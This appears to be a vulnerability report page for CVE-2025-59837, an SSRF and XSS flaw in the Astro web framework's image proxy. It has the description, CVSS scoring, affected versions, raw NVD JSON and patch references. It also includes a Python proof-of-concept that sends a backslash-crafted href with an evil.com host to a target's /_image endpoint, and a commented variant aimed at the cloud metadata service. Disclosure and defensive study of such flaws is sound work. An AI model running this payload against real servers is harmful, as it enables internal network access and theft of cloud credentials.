Security Vulnerability Report
中文
CVE-2025-59837 CVSS 7.2 HIGH

CVE-2025-59837

Published: 2025-10-28 20:15:49
Last Modified: 2025-11-25 15:16:16

Description

Astro is a web framework that includes an image proxy. In versions 5.13.4 and later before 5.13.10, the image proxy domain validation can be bypassed by using backslashes in the href parameter, allowing server-side requests to arbitrary URLs. This can lead to server-side request forgery (SSRF) and potentially cross-site scripting (XSS). This vulnerability exists due to an incomplete fix for CVE-2025-58179. Fixed in 5.13.10.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:astro:astro:*:*:*:*:*:node.js:*:* - VULNERABLE
Astro >= 5.13.4, < 5.13.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59837 PoC - Astro SSRF via Backslash Bypass # The image proxy domain validation can be bypassed using backslashes in the href parameter import requests import urllib.parse # Target Astro server with vulnerable image proxy target_url = "http://target-astro-server.com/_image" # Normal request would be blocked: # href = "http://evil.com/image.png" # Bypassed request using backslash: malicious_url = "http://evil.com\\@internal-service:8080/admin" encoded_url = urllib.parse.quote(malicious_url, safe='') params = { "href": encoded_url, "f": "webp", "w": "300" } print(f"[*] Sending malicious request to {target_url}") print(f"[*] Malicious URL parameter: {encoded_url}") response = requests.get(target_url, params=params, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Headers: {response.headers}") # Example: Access cloud metadata service # malicious_url = "http://169.254.169.254\\@" # This could bypass validation and access AWS/GCP metadata endpoints

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59837", "sourceIdentifier": "[email protected]", "published": "2025-10-28T20:15:49.170", "lastModified": "2025-11-25T15:16:15.933", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Astro is a web framework that includes an image proxy. In versions 5.13.4 and later before 5.13.10, the image proxy domain validation can be bypassed by using backslashes in the href parameter, allowing server-side requests to arbitrary URLs. This can lead to server-side request forgery (SSRF) and potentially cross-site scripting (XSS). This vulnerability exists due to an incomplete fix for CVE-2025-58179. Fixed in 5.13.10."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:astro:astro:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "5.13.4", "versionEndExcluding": "5.13.10", "matchCriteriaId": "9AE8D713-785F-4EAB-B6CB-80F4F6FEBBD8"}]}]}], "references": [{"url": "https://github.com/withastro/astro/commit/1e2499e8ea83ebfa233a18a7499e1ccf169e56f4", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/withastro/astro/commit/9ecf3598e2b29dd74614328fde3047ea90e67252", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/withastro/astro/security/advisories/GHSA-qcpr-679q-rhm2", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}